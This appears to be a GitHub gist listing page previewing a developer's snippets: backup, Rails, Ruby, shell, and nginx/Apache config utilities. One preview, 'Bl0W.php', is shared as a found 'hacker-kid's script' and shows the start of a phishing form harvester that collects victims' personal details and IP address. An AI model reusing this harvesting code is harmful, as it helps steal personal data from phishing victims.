Skip to content

Instantly share code, notes, and snippets.

@mitio
mitio / backup_via_git.sh
Created September 26, 2011 22:42
Simple backup and versioning script for novice Windows users. Uses Git for Windows.
# The only required setting is DATA_ROOT. It must be a valid
# Git repository (git init'ed). You need to configure a name
# and an email to be used as commit author info. You also need
# to configure a remote named "origin" for this repository.
# A branch "master" is assumed to exist. For repositories with
# large binary files, you may want to change the following Git
# settings (probably only locally, for the current repo):
#
# core.autocrlf=false
# core.compression=0
@mitio
mitio / routes.rb
Created September 19, 2011 18:20
Permanent redirects in routes.rb, while preserving query-string args
# take care of old, legacy routes
redirect_with_query_string = lambda do |path|
redirect do |params, req|
path << "?#{req.query_string}" unless req.query_string.blank?
path
end
end
# example usage
match 'legacy_root_path' => redirect_with_query_string.call('/')
@mitio
mitio / count_eigenclass_methods.rb
Created September 18, 2011 18:12
Quick and dirty eigenclass-defined class methods in Ruby
code = File.read(ARGV.first)
eigenclass = false
methods = 0
identation = ''
code.split("\n").each do |line|
case line
when /^(\s*)class\s+<<\s+self\b/
eigenclass = true
@mitio
mitio / .bashrc
Created August 31, 2011 17:57
The minimal .bashrc file I need to feel comfortable in a shell.
export CLICOLOR=1
export LANG="en_US.UTF-8"
alias rm="rm -i"
alias mv="mv -i"
alias cp="cp -i"
alias ls="ls --color=auto"
alias ll="ls -alh"
@mitio
mitio / Bl0W.php
Created August 25, 2011 18:04
Some stupid hacker-kid's script.
<?
$ip = getenv("REMOTE_ADDR");
$message .= "Secret Shopper Creat3d By Bl0W\n";
$message .= ".:: PERSONAL INFORMATION ::.\n";
$message .= "First name : ".$_POST['strFirstname']."\n";
$message .= "Last name : ".$_POST['strLastname']."\n";
$message .= "Street Address : ".$_POST['strAddy']."\n";
$message .= "City : ".$_POST['strCity']."\n";
$message .= "State : ".$_POST['strState']."\n";
$message .= "Zip Code : ".$_POST['strZipCode']."\n";
@mitio
mitio / jammit_sass_support.rb
Created July 21, 2011 17:27 — forked from seven1m/sass_with_jammit.rb
SASS support for Jammit in development mode (also with proper plugins support, for e.g. Compass)
# hack to auto compile sass when Jammit runs in development mode
# you can place this in an initializer
unless Rails.env.production?
require 'sass/engine'
module Jammit
module Helper
SASS_TIMESTAMPS = {}
@mitio
mitio / fix_postgresql_to_sqlite.rb
Created July 10, 2011 17:17
"One-liner" to fix tab-delimited data, imported from PostgreSQL into SQLite
Dir['app/models/*.rb'].each do |m|
m = File.basename(m).split('.').first
m = m.camelcase.constantize
next unless m.respond_to?(:all)
m.all.each do |i|
m.columns.each do |c|
if [:string, :text].include?(c.type)
v = i.send(c.name)
i.send("#{c.name}=", v.gsub(/\\r\\n/, "\n")) if v && v.kind_of?(String)
end
@mitio
mitio / block_dotsvn.conf
Created May 26, 2011 16:24
Forbid accessing of .svn folders via HTTP
# Nginx
server {
# (...server definition skipped...)
location ~ "/\.svn" {
return 403;
}
}
# Apache's .htaccess
RewriteEngine On
@mitio
mitio / folder_image_counts.sh
Created April 27, 2011 18:36
Display a folder tree with an image count for each folder containing any .jpg files.
#!/bin/sh
dir="$1"
identation="$2"
self="$0"
if test "$dir" = ""
then
dir="."
fi
@mitio
mitio / get_query_params.js
Created March 29, 2011 14:09
A simple function to return a hash with parameters, parsed from a query string.
// Returns a hash with the query parameters, parsed from the query string given
// (or the current location's query string, if no arguments given)
// Based on code found here:
// http://stackoverflow.com/questions/901115/get-querystring-values-in-javascript/2880929#2880929
function getQueryParams(queryString) {
var queryParams = {},
e,
r = /([^&=]+)=?([^&]*)/g,
d = function (s) { return decodeURIComponent(s.replace(/\+/g, ' ')); },
q = queryString || window.location.search.substring(1);